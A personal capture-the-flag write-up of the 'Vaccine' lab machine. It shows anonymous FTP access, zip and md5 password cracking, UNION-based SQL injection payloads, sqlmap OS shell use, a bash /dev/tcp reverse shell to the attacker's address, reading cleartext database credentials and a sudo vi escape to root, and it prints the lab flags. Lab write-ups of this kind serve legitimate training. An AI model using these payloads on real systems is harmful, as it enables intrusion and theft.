Vaccine

Keywords: #sudo_exploitation, #sqlmap, #reverse_shell
Date pwned: 2024-10-31
this is starting point tier 2 lab "vaccine"

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Lets start from ftp #FTP. Is there anonymous access? Yes there is. There is backup.zip
Upzipping backup needs a password. Let's try to crack the zip password.
> fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt backup.zip
Got the password: 741852963
Unzip backup.zip yields index.php & style.css. Examining index.php, I see a very interesting line

  if(isset($_POST['username']) && isset($_POST['password'])) {
    if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {

Reversing this md5 hash online I get: qwerty789. So I got the credentials admin:qwerty789
I didnt find anything instyle.css
#hash_cracking
Next up I will try this credential on ssh for password reuse. Expectedly that didn't work.
Visiting http://10.129.95.174 yields login page. Expectedly I logged in using the credential. While I look around the website, i initiate a directory scan.
By inserting ' in the search bar, I triggered a SQLi error reponse. This lab is too easy.
ERROR: unterminated quoted string at or near "'" LINE 1: Select * from cars where name ilike '%'%' ^
After trying, I found that the database has 5 columns
%' UNION SELECT NULL, table_name, NULL, NULL, NULL FROM information_schema.tables WHERE table_schema='public' --
The table is called 'cars'
%' UNION SELECT NULL, column_name, NULL, NULL, NULL FROM information_schema.columns WHERE table_name='cars' --
The five columns are id, name, engine, type, fueltype.
I take it back. This lab is hard. I don't know how to get foothold. Let me see my directory search.

/.htaccess            (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/index.php            (Status: 200) [Size: 2312]
/server-status        (Status: 403) [Size: 278]

This is not working either.
I looked at the questions that I need to fill out. Turns out that I need to use sqlmap. I haven't gotten to the module that covers this yet. I guess I'll stop and learn -- come back to this module later. I refuse to look at writeups.

Ok I've gone through the sqlmap module. I'm feeling confident again.

I captured the request of the search bar in req.txt, and run sqlmap regarding it.
> sqlmap -r req.txt --batch --dump --level=1 --risk=1 --schema

Table: cars
[10 entries]
+----+--------+---------+----------+----------+
| id | name   | type    | engine   | fueltype |
+----+--------+---------+----------+----------+
| 1  | Elixir | Sports  | 2000cc   | Petrol   |
| 2  | Sandy  | Sedan   | 1000cc   | Petrol   |
| 3  | Meta   | SUV     | 800cc    | Petrol   |
| 4  | Zeus   | Sedan   | 1000cc   | Diesel   |
| 5  | Alpha  | SUV     | 1200cc   | Petrol   |
| 6  | Canon  | Minivan | 600cc    | Diesel   |
| 7  | Pico   | Sed     | 750cc    | Petrol   |
| 8  | Vroom  | Minivan | 800cc    | Petrol   |
| 9  | Lazer  | Sports  | 1400cc   | Diesel   |
| 10 | Force  | Sedan   | 600cc    | Petrol   |
+----+--------+---------+----------+----------+

No useful information. Let's try OS exploitation.
#sqlmap
> sqlmap -r req.txt --os-shell
Succesfully retrieved a reverse shell.

os-shell> sudo -l
do you want to retrieve the command standard output? [Y/n/a] Y
[16:36:02] [WARNING] the SQL query provided does not return any output
[16:36:02] [INFO] retrieved: 
No output

How come sudo -l doesn't work? According to the question it's supposed to work.
Scheduled tasks aren't working either:

os-shell> ls -la /etc/cron.d/
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
---
total 28
drwxr-xr-x  2 root root 4096 Feb  3  2020 .
drwxr-xr-x 97 root root 4096 Jul 26  2021 ..
-rw-r--r--  1 root root  201 Sep 30  2019 e2scrub_all
-rw-r--r--  1 root root  712 Dec 17  2018 php
-rw-r--r--  1 root root  102 Jul 19  2019 .placeholder
-rw-r--r--  1 root root  190 Oct 17  2019 popularity-contest
-rw-r--r--  1 root root  396 Aug 18  2019 sysstat
---

It just doesn't work. Maybe it's because of the sqlmap os-shell? I'll try to execute a reverse shell onto the system and start from there.
> bash -c 'bash -i >& /dev/tcp/10.10.15.122/443 0>&1'
Got the reverse shell.

nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.15.122] from (UNKNOWN) [10.129.194.71] 60866
bash: cannot set terminal process group (2521): Inappropriate ioctl for device
bash: no job control in this shell
postgres@vaccine:/var/lib/postgresql/11/main$ whoami
whoami
postgres
postgres@vaccine:/var/lib/postgresql/11/main$ sudo -l
sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required

Upgrade to tty:

postgres@vaccine:/var/lib/postgresql/11/main$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<in$ python3 -c 'import pty; pty.spawn("/bin/bash")'
postgres@vaccine:/var/lib/postgresql/11/main$ sudo -l  
sudo -l
[sudo] password for postgres: qwerty789

Sorry, try again.

But I don't know postgres's password. I'm stuck. Actually, let's try LinEnum.
Here is the report linenum
However I don't find anything that displays sudo -l. I do find, however, that simon has root privileges, so let's focus on that.
I found nothing. Never mind. I'll have to look at the writeup. But only this step regarding "sudo -l."

Ok, it turns out that the password is cleartext credentials stored in one of the files. This is incredibly dumb.
#cleartext_credentials
> cat /var/www/html/dashboard.php

<!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title>Admin Dashboard</title>
  <link rel="stylesheet" href="./dashboard.css">
  <script src="https://use.fontawesome.com/33a3739634.js"></script>

</head>
<body>
<!-- partial:index.partial.html -->
<body>
 <div id="wrapper">
 <div class="parent">
  <h1 align="left">MegaCorp Car Catalogue</h1>
<form action="" method="GET">
<div class="search-box">
  <input type="search" name="search" placeholder="Search" />
  <button type="submit" class="search-btn"><i class="fa fa-search"></i></button>
</div>
</form>
  </div>
  
  <table id="keywords" cellspacing="0" cellpadding="0">
    <thead>
      <tr>
        <th><span style="color: white">Name</span></th>
        <th><span style="color: white">Type</span></th>
        <th><span style="color: white">Fuel</span></th>
        <th><span style="color: white">Engine</span></th>
      </tr>
    </thead>
    <tbody>
        <?php
        session_start();
        if($_SESSION['login'] !== "true") {
          header("Location: index.php");
          die();
        }
        try {
          $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
        }

        catch ( exception $e ) {
          echo $e->getMessage();
        }

        if(isset($_REQUEST['search'])) {

          $q = "Select * from cars where name ilike '%". $_REQUEST["search"] ."%'";

          $result = pg_query($conn,$q);

          if (!$result)
          {
                            die(pg_last_error($conn));
          }
          while($row = pg_fetch_array($result, NULL, PGSQL_NUM))
              {
                echo "
                  <tr>
                    <td class='lalign'>$row[1]</td>
                    <td>$row[2]</td>
                    <td>$row[3]</td>
                    <td>$row[4]</td>
                  </tr>";
            }
        }
        else {

          $q = "Select * from cars";

          $result = pg_query($conn,$q);

          if (!$result)
          {
                            die(pg_last_error($conn));
          }
          while($row = pg_fetch_array($result, NULL, PGSQL_NUM))
              {
                echo "
                  <tr>
                    <td class='lalign'>$row[1]</td>
                    <td>$row[2]</td>
                    <td>$row[3]</td>
                    <td>$row[4]</td>
                  </tr>";
            }
        }


      ?>
    </tbody>
  </table>
 </div> 
</body>
<!-- partial -->
  <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery.tablesorter/2.28.14/js/jquery.tablesorter.min.js'></script><script  src="./dashboard.js"></script>

</body>
</html>

It's P@s5w0rd!

postgres@vaccine:/var/lib/postgresql/11/main$ sudo -l
sudo -l
[sudo] password for postgres: P@s5w0rd!

Matching Defaults entries for postgres on vaccine:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
    XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User postgres may run the following commands on vaccine:
    (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf

Privilege escalation:
> sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
#sudo_exploitation
Gain a root shell from vi: Once vi is open, enter command mode and use the following steps to spawn a root shell:
Type :!bash and press Enter. This will open a bash shell as root because sudo was used to open vi.

root@vaccine:/home/simon# cd /var/lib/postgresql
cd /var/lib/postgresql
root@vaccine:/var/lib/postgresql# ls
ls
11  user.txt
root@vaccine:/var/lib/postgresql# cat user.txt
cat user.txt
ec9b13ca4d6229cd5cc1e09980965bf7
root@vaccine:~# cat root.txt
cat root.txt
dd6e058e814260bc70e9bbdef2715849